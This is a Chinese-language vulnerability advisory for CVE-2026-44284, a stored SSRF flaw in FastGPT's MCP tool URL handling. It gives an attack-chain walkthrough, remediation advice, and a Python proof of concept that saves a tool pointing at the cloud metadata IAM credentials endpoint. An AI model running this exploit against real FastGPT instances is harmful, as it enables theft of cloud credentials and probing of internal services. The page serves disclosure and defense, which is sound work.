IPBUF安全漏洞报告
English
CVE-2026-44284 CVSS 6.3 中危

CVE-2026-44284 FastGPT SSRF漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-44284
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FastGPT

相关标签

SSRFFastGPTCVE-2026-44284内网探测权限绕过

漏洞概述

FastGPT是一个AI Agent构建平台。在4.14.17版本之前,该系统在MCP工具URL处理中存在不一致的SSRF防护缺陷。尽管直接预览或运行端点会拒绝内网地址,但创建或更新MCP工具的端点却允许保存内网URL。拥有权限的攻击者利用此漏洞,可将恶意内网地址(如localhost)保存在工具配置中,并在后续工作流执行时触发服务端对该内网地址的请求,从而绕过安全检查。该问题已在4.14.17版本中得到修复。

技术细节

该漏洞的核心在于FastGPT对MCP(Model Context Protocol)工具URL的验证逻辑不一致。系统在两个关键路径上实施了不同的安全策略:在“直接预览/运行”路径上,系统正确拦截了指向内网(如127.0.0.1, 192.168.x.x等)的请求;但在“工具创建/更新”路径上,系统缺少或未严格执行相同的内网IP黑名单校验机制。攻击者只需具备创建或管理MCP工具集的低权限账号,即可构造一个包含内网URL(例如 http://localhost:3000/mcp 或 http://169.254.169.254/latest/meta-data/)的恶意工具配置。由于系统将该配置存储入库,并未在存储时进行清洗,当后续工作流执行该工具时,后端运行器会直接读取存储的URL并发起请求。这种“存储型SSRF”使得攻击者能够探测内网端口、读取本地元数据或攻击内部服务,绕过了实时请求的防御机制。

攻击链分析

STEP 1
步骤1:获取权限
攻击者注册或获取一个拥有创建或管理MCP工具集权限的低权限FastGPT账号。
STEP 2
步骤2:构造恶意配置
攻击者利用MCP工具创建/更新接口,将工具的URL字段设置为内网地址(如 http://localhost:3000/mcp)。由于该接口缺乏SSRF校验,恶意配置被成功保存。
STEP 3
步骤3:存储恶意载荷
FastGPT后端将包含内网URL的MCP工具配置持久化存储到数据库中,未触发任何报警。
STEP 4
步骤4:触发工作流
攻击者手动或诱使管理员执行包含该恶意MCP工具的工作流。
STEP 5
步骤5:执行SSRF攻击
FastGPT后端工作流运行器加载配置,并直接向存储的内网URL发起HTTP请求,绕过了针对实时请求的防护,实现SSRF攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-44284 (FastGPT SSRF) This script demonstrates how an authenticated user might exploit the inconsistent SSRF protection by creating a malicious MCP tool pointing to an internal URL. """ import requests import json TARGET_URL = "http://fastgpt-instance.com" API_KEY = "YOUR_FASTGPT_API_KEY" # Requires low privileges # Malicious internal URL to target (e.g., metadata service or internal admin panel) # Attacker aims to force the backend to connect to this address during workflow execution MALICIOUS_INTERNAL_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Payload to create/update an MCP tool with an internal URL payload = { "name": "Malicious MCP Tool", "type": "mcp", "config": { "url": MALICIOUS_INTERNAL_URL # Vulnerability: Internal URL is accepted here } } print(f"[*] Attempting to create MCP tool pointing to: {MALICIOUS_INTERNAL_URL}") try: response = requests.post( f"{TARGET_URL}/api/v1/mcp-tools", headers=headers, data=json.dumps(payload) ) if response.status_code == 200 or response.status_code == 201: print("[+] MCP Tool created successfully! The internal URL has been stored.") print("[+] Triggering a workflow execution using this tool would now result in an SSRF request.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

FastGPT < 4.14.17

防御指南

临时缓解措施
建议用户尽快升级至4.14.17及以上版本。在无法立即升级的情况下,应检查数据库中已保存的MCP工具配置,删除或修改所有指向内网IP(如127.0.0.1, 192.168.x.x, 10.x.x.x等)的URL记录。同时,可限制FastGPT服务器的出站网络访问权限,仅允许必要的公网通信。

参考链接